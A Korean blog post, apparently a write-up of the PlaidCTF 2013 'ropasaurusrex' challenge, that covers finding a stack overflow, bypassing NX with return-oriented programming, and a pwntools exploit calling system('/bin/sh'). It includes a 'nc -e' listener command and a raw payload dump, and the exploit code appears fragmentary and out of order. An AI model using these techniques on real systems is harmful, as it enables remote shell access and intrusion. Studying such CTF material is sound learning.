https://github.com/isislab/CTF-Challenges/tree/master/pctf2013/pwnable/ropasaurusrex |
1. disassemble
[asm] .text:0804841D ; int __cdecl main(int, char **, char **)
[psuedo] int __cdecl main() |
2. sub_80483F4()
[asm] .text:080483F4 sub_80483F4 proc near ; CODE XREF: main+9p [psuedo] ssize_t sub_80483F4() return read(0, &buf, 0x100u); |
3. command
[babyhack@localhost pcf2013]$ (python -c 'print "a"*138';cat) | ./vul 세그멘테이션 오류 (core dumped) 세그멘테이션 오류 (core dumped) 세그멘테이션 오류 (core dumped) |
4. 파일 속성 확인
http://www.trapkit.de/tools/checksec.html
babyhack@ubuntu:/tmp/pwnable/pctf2013/ropasaurusrex$ ../../checksec.sh --file vul |
NX(No Excutable)가 활성화 되어 있습니다.
NX란 메모리 보호 기법 중 하나로, 메모리 페이지의 권한을 write권한과 execute권한을 동시에 갖지 않도록 설정하는 것이다. 예를 들어 지역변수에 입력을 받을 때 overflow가 발생하는 바이너리가 있다고 하자. 만약 NX가 활성화되어있지 않다면 지역변수 메모리에 쉘코드를 넣고 ret addr를 쉘코드를 가리키게 하여 쉘코드를 실행시키는 것이 가능하다. 하지만 NX가 활성화되어있다면 메모리에 execute 권한이 없으므로 쉘코드를 실행시킬 수 없다.
5. gdb 활용한 분석
disas main 하였을 때 아래와 같이 나올 경우
(gdb) disas main |
다음과 같이 file 정보를 확인 하고 .text 섹션을 분석합니다.
[babyhack@localhost pcf2013]$ gdb -q vul
(gdb) disas 0x08048340, 0x080484ec
(gdb) disas 0x0804841d, 0x0806841d ....................... (gdb) x/s 0x08048510 |
main 코드를 찾았습니다. ida를 통하여 확인한 내용과 동일 함을 알 수 있습니다.
(gdb) disas 0x80483f4, 0x80583f4 |
메모리 구조
[buff - 0x88(136 byte)] + [ebp - 0x04(4 byte)] + [eip - 0x4(4 byte)]
5. Register 확인
(gdb) info reg |
[bof 검증 진행] aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaccccdddd
a * [136] -- stack c * [4] -- ebp d * [4] -- eip
0x64646464 in ?? ()
(gdb) b *0x0804841b Breakpoint 1, 0x0804841b in ?? () -------------- buff 시작 ----------- -------------- esp eip aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Breakpoint 1, 0x0804841b in ?? () ebp ret 0xbffff0d0: 0xb7fc03dc 0xb7fff8f8 0x0804846b 0x00000000 (gdb) r aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbbcccc Breakpoint 1, 0x0804841b in ?? () ------------- ------------- ebp ret (gdb) x/s $ebp (gdb) b *0x0804842b aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbbccccAAAA Program received signal SIGSEGV, Segmentation fault. (gdb) info reg |
이젠 공격 버퍼를 만들 수 있습니다.
[pwntools - install]
1. apt-get install python, python-dev, python-pip 2. apt-get url add - vi /etc/apt/sources.list - "deb http://us.archive.ubuntu.com/ubuntu vivid main universe" 3. apt-get install libcapstone-dev (python2.7-dev 설치시 따로 설치 안해 됨.) 4. pip install pwntools |
문제 서버로 돌리기
※ nc-openbsd의 경우 -e 기능이 없으므로, traditional 버전을 설치 해야 합니다.
-->> $ sudo apt-get install netcat-traditional
--> apt-get install netcat-traditional
$ while true; do nc -vv -l -p 1234 -e ./vul; done |
이제 exploit을 만들어 봅시다. overflow 발생한 지점을 확인 하였기 때문에
exploit을 짜면 됩니다. exploit을 짜기 위해서는 우선 구성을 해야 합니다.
1. 호출 할 명령어 작성("sh", "cat /etc/passwd", "cat flag", etc)
2. 명령어 실행 시킬 방법 구상 ("system", "exec", "execl", "execv", etc)
우리는 우선 명령어를 쓸 메모리를 찾아 봐야합니다.
찾기 위해서는 objdump 명령어를 활용하여 메모리 속성과 크기를 확인 하는 것이 좋습니다.
vul: file format elf32-i386 Program Header: Dynamic Section: Version References: Sections: |
필요한 섹션만 선택 적으로 보기로 하겠습니다.
우선 data, dynamic, 등 data 섹션을 중심으로 보겠습니다.
그 이유는 data 섹션은 쓰기, 읽기 권한이 있기 때문에 명령어를 저장하는데 효과적이기 때문입니다.
babyhack@ubuntu:/tmp/pwnable/pctf2013/ropasaurusrex$ objdump -x vul | grep -A1 '\.data' |
.data 섹션은 8byte로 작은 사이즈를 가지고 있습니다.
사이즈가 어느정도 확보하고 있는 곳을 찾아 해당 섹션에 명령어를 작성하기로 하겠습니다.
그래서 선택한 섹션은 .dynamic 섹션입니다.
babyhack@ubuntu:/tmp/pwnable/pctf2013/ropasaurusrex$ objdump -x vul | grep -A1 '\.dynamic' |
.dynamic 섹션은 0xd0(208byte)를 가지고 있기 때문에 충분히 명령어를 작성할 수 있습니다.
이제 명령어를 쓸 수 있는 공간을 확보 하였기 때문에 이제는 호출할 시스템 함수를 찾아 봐야합니다.
코드상에서 문자를 쓰기 위해서는 write(), settext(), etc 등을 활용합니다.
ROP이기 때문에 현재 사용되고 있는 함수의 목록을 추출하여 분석을 진행 해야 합니다.
vul: file format elf32-i386 DYNAMIC RELOCATION RECORDS
objdump -T /lib/i686/cmov/libc.so.6 | grep system |
이젠 가젯을 찾아야 합니다.
따라서, 가젯을 찾아 주는 프로그램을 구해야 합니다.
rp++ : https://github.com/0vercl0k/rp (※ Linux, windows, iOS 선택적으로 받으세요.)
./rp++ -f ./vul -r 4 | grep "pop" |
가젯을 찾지 않고 편하게 사용하기 위해서는 pwn 패키지를 활용하면 됩니다.
사용법은 다음과 같습니다.
from pwn import * binsh = "/bin/sh" binary = ELF("vul") print binary.checksec() read_plt = binary.plt['read'] read_system_offset = libc.symbols['read'] - libc.symbols['system'] log.info("read@plt : " + str(hex(read_plt)))
rop.read(0,dynamic_section,len(str(binsh))) # 1
payload = "A"*140 + str(rop)
#r = remote("127.0.0.1", 1234)
r.send(payload) # overflow # 0
r.send(binsh) # 1 code 실행 log.info('read address : [%s]' % str(hex(read)))
log.info('system_addr : [%s]' % str(hex(system_addr))) rop = ROP(binary) r.send(str(rop)) # 3 code 실행 / system 함수를 write
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA,\x83\x0\xbf\x83\x0\x00\x00\x00\x000\x95\x0\x07\x00\x00\x00\x0c\x83\x0\xbf\x83\x0\x00\x00\x00\x1c\x96\x0 \x00\x00\x00,\x83\x0\xbf\x83\x0\x00\x00\x00\x00\x1c\x96\x0 \x00\x00\x00,\x83\x0\xbb\xbb\xaa\xaa0\x95\x0 |
'Reverse > pwnable' 카테고리의 다른 글
[vagrant] CGC (Cyber Grand Challenge) 환경 구축 (0) | 2016.08.02 |
---|---|
[pwntools] test code (0) | 2016.07.27 |
[pwntools] 함수 offset 계산 방법 (0) | 2016.07.21 |
[defcon 24 - 2016] Reversing - baby-re (0) | 2016.05.24 |
[defcon 23 - 2015] r0pbaby Writeup (0) | 2016.05.18 |